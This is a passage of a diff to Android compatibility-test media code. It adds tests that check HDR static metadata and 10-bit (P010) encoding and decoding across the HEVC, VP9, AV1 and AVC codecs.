+ static final int[] HEVC_HLG_PROFILES = new int[]{HEVCProfileMain10};
+ static final int[] HEVC_HDR10_PROFILES = new int[]{HEVCProfileMain10HDR10};
+ static final int[] HEVC_HDR10Plus_PROFILES = new int[]{HEVCProfileMain10HDR10Plus};
+ static final int[] HEVC_HDR_PROFILES =
+ combine(HEVC_HLG_PROFILES, combine(HEVC_HDR10_PROFILES, HEVC_HDR10Plus_PROFILES));
static final int[] HEVC_PROFILES = combine(HEVC_SDR_PROFILES, HEVC_HDR_PROFILES);
static final int[] AV1_SDR_PROFILES = new int[]{AV1ProfileMain8};
- static final int[] AV1_HDR_PROFILES = new int[]{AV1ProfileMain10,
- AV1ProfileMain10HDR10, AV1ProfileMain10HDR10Plus};
+ static final int[] AV1_HLG_PROFILES = new int[]{AV1ProfileMain10};
+ static final int[] AV1_HDR10_PROFILES = new int[]{AV1ProfileMain10HDR10};
+ static final int[] AV1_HDR10Plus_PROFILES = new int[]{AV1ProfileMain10HDR10Plus};
+ static final int[] AV1_HDR_PROFILES =
+ combine(AV1_HLG_PROFILES, combine(AV1_HDR10_PROFILES, AV1_HDR10Plus_PROFILES));
static final int[] AV1_PROFILES = combine(AV1_SDR_PROFILES, AV1_HDR_PROFILES);
static final int[] AAC_PROFILES = new int[]{AACObjectMain, AACObjectLC, AACObjectSSR,
AACObjectLTP, AACObjectHE, AACObjectScalable, AACObjectERLC, AACObjectERScalable,
@@ -716,6 +735,19 @@
mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_SDR_PROFILES);
mProfileSdrMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HLG_PROFILES);
+ mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HLG_PROFILES);
+
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10_PROFILES);
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10_PROFILES);
+ mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10_PROFILES);
+
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10Plus_PROFILES);
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10Plus_PROFILES);
+ mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10Plus_PROFILES);
+
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HDR_PROFILES);
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR_PROFILES);
mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR_PROFILES);
@@ -757,16 +789,18 @@
if (!areFormatsSupported(codecName, mime, formats)) {
switch (supportRequirements) {
case CODEC_ALL:
- fail("format(s) not supported by codec: " + codecName + " for mime : " + mime);
+ fail("format(s) not supported by codec: " + codecName
+ + " for mime : " + mime + " formats: " + formats);
break;
case CODEC_ANY:
if (selectCodecs(mime, formats, features, isEncoder).isEmpty())
- fail("format(s) not supported by any component for mime : " + mime);
+ fail("format(s) not supported by any component for mime : " + mime
+ + " formats: " + formats);
break;
case CODEC_DEFAULT:
if (isDefaultCodec(codecName, mime, isEncoder))
fail("format(s) not supported by default codec : " + codecName +
- "for mime : " + mime);
+ "for mime : " + mime + " formats: " + formats);
break;
case CODEC_OPTIONAL:
default:
@@ -1275,6 +1309,21 @@
return height;
}
+ byte[] loadByteArrayFromString(final String str) {
+ if (str == null) {
+ return null;
+ }
+ Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+ Matcher matcher = pattern.matcher(str);
+ // allocate a large enough byte array first
+ byte[] tempArray = new byte[str.length() / 2];
+ int i = 0;
+ while (matcher.find()) {
+ tempArray[i++] = (byte) Integer.parseInt(matcher.group(), 16);
+ }
+ return Arrays.copyOfRange(tempArray, 0, i);
+ }
+
boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
if (inpFormat == null || outFormat == null) return false;
String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1333,6 +1382,25 @@
}
}
+ void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
+ ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
+ assertNotNull("No HDR metadata present in format : " + fmt, hdrStaticInfo);
+ if (!hdrStaticRef.equals(hdrStaticInfo)) {
+ StringBuilder refString = new StringBuilder("");
+ StringBuilder testString = new StringBuilder("");
+ byte[] ref = new byte[hdrStaticRef.capacity()];
+ hdrStaticRef.get(ref);
+ byte[] test = new byte[hdrStaticInfo.capacity()];
+ hdrStaticInfo.get(test);
+ for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+ refString.append(String.format("%2x ", ref[i]));
+ testString.append(String.format("%2x ", test[i]));
+ }
+ fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
+ "test static info : " + testString);
+ }
+ }
+
public void setUpSurface(CodecTestActivity activity) throws InterruptedException {
activity.waitTillSurfaceIsCreated();
mSurface = activity.getSurface();
@@ -1353,6 +1421,14 @@
fail("no valid component available for current test ");
}
}
+
+ @After
+ public void tearDown() {
+ if (mCodec != null) {
+ mCodec.release();
+ mCodec = null;
+ }
+ }
}
class CodecDecoderTestBase extends CodecTestBase {
@@ -1664,6 +1740,26 @@
mCodec.release();
mExtractor.release();
}
+
+ void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
+ boolean ignoreContainerStaticInfo)
+ throws IOException, InterruptedException {
+ mOutputBuff = new OutputManager();
+ MediaFormat format = setUpSource(parent, name);
+ if (ignoreContainerStaticInfo) {
+ format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
+ }
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ configureCodec(format, true, true, false);
+ mCodec.start();
+ doWork(10);
+ queueEOS();
+ waitForAllOutputs();
+ validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
+ mCodec.stop();
+ mCodec.release();
+ mExtractor.release();
+ }
}
class CodecEncoderTestBase extends CodecTestBase {
@@ -1672,6 +1768,9 @@
// files are in WorkDir.getMediaDirString();
private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+ protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
+ protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
+
private final int INP_FRM_WIDTH = 352;
private final int INP_FRM_HEIGHT = 288;
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
new file mode 100644
index 0000000..31ba0ba
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test to validate hdr static metadata in decoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+ private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
+ private static final String HDR_STATIC_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ private static final String HDR_STATIC_INCORRECT_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+
+ private final ByteBuffer mHDRStaticInfoStream;
+ private final ByteBuffer mHDRStaticInfoContainer;
+
+ public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
+ String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+ super(codecName, mediaType, testFile);
+ mHDRStaticInfoStream = hdrStaticInfoStream != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+ mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> input() {
+ final boolean isEncoder = false;
+ final boolean needAudio = false;
+ final boolean needVideo = true;
+ final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+ // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+ {MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
+ HDR_STATIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
+ null, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+ null, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1,
+ "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1,
+ "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
+ HDR_STATIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
+ null, HDR_STATIC_INFO},
+ });
+ return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ }
+
+ @SmallTest
+ @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+ public void testHDRMetadata() throws IOException, InterruptedException {
+ MediaFormat format = setUpSource(mTestFile);
+ mExtractor.release();
+ ArrayList<MediaFormat> formats = new ArrayList<>();
+ formats.add(format);
+ Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+ if (mHDRStaticInfoContainer != null) {
+ validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
+ }
+
+ validateHDRStaticMetaData(mInpPrefix, mTestFile,
+ mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
+ false);
+ if (mHDRStaticInfoStream != null) {
+ if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
+ validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
+ }
+ }
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 7a9ce5e..fb7e16e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,6 +17,7 @@
package android.mediav2.cts;
import android.media.MediaCodec;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaMuxer;
import android.os.Build;
@@ -38,6 +39,8 @@
import java.util.Collection;
import java.util.List;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
/**
@@ -50,6 +53,7 @@
private int mRange;
private int mStandard;
private int mTransferCurve;
+ private boolean mUseHighBitDepth;
private MediaFormat mConfigFormat;
private MediaMuxer mMuxer;
@@ -60,11 +64,12 @@
private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
- int range, int standard, int transferCurve) {
+ int range, int standard, int transferCurve, boolean useHighBitDepth) {
super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
mRange = range;
mStandard = standard;
mTransferCurve = transferCurve;
+ mUseHighBitDepth = useHighBitDepth;
mWidth = width;
mHeight = height;
setUpParams(1);
@@ -94,6 +99,29 @@
super.dequeueOutput(bufferIndex, info);
}
+ private static void prepareArgsList(List<Object[]> exhaustiveArgsList,
+ List<String> stringArgsList, String[] mediaTypes, int[] ranges, int[] standards,
+ int[] transfers, boolean useHighBitDepth) {
+ // Assuming all combinations are supported by the standard which is true for AVC, HEVC, AV1,
+ // VP8 and VP9.
+ for (String mediaType : mediaTypes) {
+ for (int range : ranges) {
+ for (int standard : standards) {
+ for (int transfer : transfers) {
+ String currentObject =
+ mediaType + "_" + range + "_" + standard + "_" + transfer;
+ if (!stringArgsList.contains(currentObject)) {
+ exhaustiveArgsList
+ .add(new Object[]{mediaType, 176, 144, range, standard,
+ transfer, useHighBitDepth});
+ stringArgsList.add(currentObject);
+ }
+ }
+ }
+ }
+ }
+ }
+
@Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
public static Collection<Object[]> input() {
final boolean isEncoder = true;
@@ -111,25 +139,33 @@
UNSPECIFIED,
MediaFormat.COLOR_STANDARD_BT709,
MediaFormat.COLOR_STANDARD_BT601_PAL,
- MediaFormat.COLOR_STANDARD_BT601_NTSC,
- MediaFormat.COLOR_STANDARD_BT2020};
+ MediaFormat.COLOR_STANDARD_BT601_NTSC};
int[] transfers = {-1,
UNSPECIFIED,
MediaFormat.COLOR_TRANSFER_LINEAR,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
- // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
- // be tested as well?
+
+ String[] mediaTypesHighBitDepth = {MediaFormat.MIMETYPE_VIDEO_AVC,
+ MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_VIDEO_VP9,
+ MediaFormat.MIMETYPE_VIDEO_AV1};
+ int[] standardsHighBitDepth = {-1,
+ UNSPECIFIED,
+ MediaFormat.COLOR_STANDARD_BT2020};
+ int[] transfersHighBitDepth = {-1,
+ UNSPECIFIED,
+ MediaFormat.COLOR_TRANSFER_HLG,
+ MediaFormat.COLOR_TRANSFER_ST2084};
+
List<Object[]> exhaustiveArgsList = new ArrayList<>();
- // Assumes all combinations are supported by the standard
- for (String mime : mimes) {
- for (int range : ranges) {
- for (int standard : standards) {
- for (int transfer : transfers) {
- exhaustiveArgsList
- .add(new Object[]{mime, 176, 144, range, standard, transfer});
- }
- }
- }
+ List<String> stringArgsList = new ArrayList<>();
+ prepareArgsList(exhaustiveArgsList, stringArgsList, mimes, ranges, standards, transfers,
+ false);
+ // P010 support was added in Android T, hence limit the following tests to Android T and
+ // above
+ if (IS_AT_LEAST_T) {
+ prepareArgsList(exhaustiveArgsList, stringArgsList, mediaTypesHighBitDepth, ranges,
+ standardsHighBitDepth, transfersHighBitDepth, true);
}
return CodecTestBase
.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
@@ -139,7 +175,14 @@
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
public void testColorAspects() throws IOException, InterruptedException {
Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
- setUpSource(mInputFile);
+ String inputTestFile = mInputFile;
+ if (mUseHighBitDepth) {
+ Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ mBytesPerSample = 2;
+ inputTestFile = INPUT_VIDEO_FILE_HBD;
+ }
+ setUpSource(inputTestFile);
mOutputBuff = new OutputManager();
{
mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -156,10 +199,10 @@
if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
- tmpFile = File.createTempFile("tmp", ".webm");
+ tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".webm");
} else {
muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
- tmpFile = File.createTempFile("tmp", ".mp4");
+ tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".mp4");
}
mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
configureCodec(mConfigFormat, true, true, true);
@@ -185,19 +228,25 @@
mCodec.release();
// verify if the muxed file contains color aspects as expected
- CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(mConfigFormat);
+ assertNotNull("Device advertises support for encoding " + mConfigFormat.toString() +
+ " but not decoding it", decoder);
+ CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mMime,
+ tmpFile.getAbsolutePath());
String parent = tmpFile.getParent();
if (parent != null) parent += File.separator;
else parent = "";
- cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+ cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
mTransferCurve, false);
// if color metadata can also be signalled via elementary stream then verify if the
// elementary stream contains color aspects as expected
if (mCheckESList.contains(mMime)) {
- cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+ cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
mTransferCurve, true);
}
+ tmpFile.delete();
}
}
}
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
new file mode 100644
index 0000000..3a77954
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test to validate hdr static metadata in encoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+ private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
+
+ private MediaMuxer mMuxer;
+ private int mTrackID = -1;
+
+ static final ArrayList<String> mCheckESList = new ArrayList<>();
+
+ static {
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+ }
+
+ public EncoderHDRInfoTest(String encoderName, String mime, int bitrate, int width,
+ int height) {
+ super(encoderName, mime, new int[]{bitrate}, new int[]{width}, new int[]{height});
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ if (info.size > 0) {
+ ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+ if (mMuxer != null) {
+ if (mTrackID == -1) {
+ mTrackID = mMuxer.addTrack(mCodec.getOutputFormat());
+ mMuxer.start();
+ }
+ mMuxer.writeSampleData(mTrackID, buf, info);
+ }
+ }
+ super.dequeueOutput(bufferIndex, info);
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> input() {
+ final boolean isEncoder = true;
+ final boolean needAudio = false;
+ final boolean needVideo = true;
+
+ final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+ {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288},
+ });
+
+ return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ }
+
+ @SmallTest
+ @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+ public void testHDRMetadata() throws IOException, InterruptedException {
+ setUpParams(1);
+ MediaFormat format = mFormats.get(0);
+ final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
+ int profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+ format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
+ mFormats.clear();
+ mFormats.add(format);
+ Assume.assumeTrue(mCodecName + " does not support HDR10 profile",
+ areFormatsSupported(mCodecName, mMime, mFormats));
+ Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+ hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ mBytesPerSample = 2;
+ setUpSource(INPUT_VIDEO_FILE_HBD);
+ mOutputBuff = new OutputManager();
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ mOutputBuff.reset();
+ String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+ File tmpFile;
+ int muxerFormat;
+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+ tmpFile = File.createTempFile("tmp10bit", ".webm");
+ } else {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+ tmpFile = File.createTempFile("tmp10bit", ".mp4");
+ }
+ mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+ configureCodec(format, true, true, true);
+ mCodec.start();
+ doWork(4);
+ queueEOS();
+ waitForAllOutputs();
+ if (mTrackID != -1) {
+ mMuxer.stop();
+ mTrackID = -1;
+ }
+ if (mMuxer != null) {
+ mMuxer.release();
+ mMuxer = null;
+ }
+ assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+ assertTrue(log + "no input sent", 0 != mInputCount);
+ assertTrue(log + "output received", 0 != mOutputCount);
+
+ MediaFormat fmt = mCodec.getOutputFormat();
+ mCodec.stop();
+ mCodec.release();
+
+ // verify if the out fmt contains HDR Static metadata as expected
+ validateHDRStaticMetaData(fmt, hdrStaticInfo);
+
+ // verify if the muxed file contains HDR Static metadata as expected
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(format);
+ assertNotNull("Device advertises support for encoding " + format.toString() +
+ " but not decoding it", decoder);
+ CodecDecoderTestBase cdtb =
+ new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
+ String parent = tmpFile.getParent();
+ if (parent != null) parent += File.separator;
+ else parent = "";
+ cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
+
+ // if HDR static metadata can also be signalled via elementary stream then verify if
+ // the elementary stream contains HDR static data as expected
+ if (mCheckESList.contains(mMime)) {
+ cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
+ }
+
+ tmpFile.delete();
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 741402f..c196d6e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -38,6 +38,7 @@
import java.util.HashMap;
import java.util.List;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -52,12 +53,15 @@
private static final String LOG_TAG = EncoderProfileLevelTest.class.getSimpleName();
private static final HashMap<String, Pair<int[], Integer>> mProfileLevelCdd = new HashMap<>();
+ private final boolean mUseHighBitDepth;
+
private MediaFormat mConfigFormat;
private MediaMuxer mMuxer;
public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
- int encoderInfo2, int frameRate) {
+ int encoderInfo2, int frameRate, boolean useHighBitDepth) {
super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
+ mUseHighBitDepth = useHighBitDepth;
if (mIsAudio) {
mSampleRate = encoderInfo1;
mChannels = encoderInfo2;
@@ -70,7 +74,7 @@
mConfigFormat = mFormats.get(0);
}
- @Parameterized.Parameters(name = "{index}({0}_{1})")
+ @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{6})")
public static Collection<Object[]> input() {
final boolean isEncoder = true;
final boolean needAudio = true;
@@ -185,8 +189,25 @@
{MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 176, 144, 20},
{MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 480, 360, 20},
});
-
- return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ final List<Object[]> argsList = new ArrayList<>();
+ for (Object[] arg : exhaustiveArgsList) {
+ int argLength = exhaustiveArgsList.get(0).length;
+ Object[] testArgs = new Object[argLength + 1];
+ System.arraycopy(arg, 0, testArgs, 0, argLength);
+ testArgs[argLength] = false;
+ argsList.add(testArgs);
+ // P010 support was added in Android T, hence limit the following tests to Android T and
+ // above
+ if (IS_AT_LEAST_T) {
+ if (mProfileHdrMap.get(arg[0]) != null) {
+ Object[] testArgsHighBitDepth = new Object[argLength + 1];
+ System.arraycopy(arg, 0, testArgsHighBitDepth, 0, argLength);
+ testArgsHighBitDepth[argLength] = true;
+ argsList.add(testArgsHighBitDepth);
+ }
+ }
+ }
+ return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
}
static {
@@ -649,8 +670,26 @@
*/
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testValidateProfileLevel() throws IOException, InterruptedException {
- int[] profiles = mProfileSdrMap.get(mMime);
+ int[] profiles;
+ String inputTestFile = mInputFile;
+ MediaFormat format = mConfigFormat;
+ String outputFilePrefix = "tmp";
+ if (mIsAudio) {
+ profiles = mProfileMap.get(mMime);
+ } else {
+ if (mUseHighBitDepth) {
+ Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ mBytesPerSample = 2;
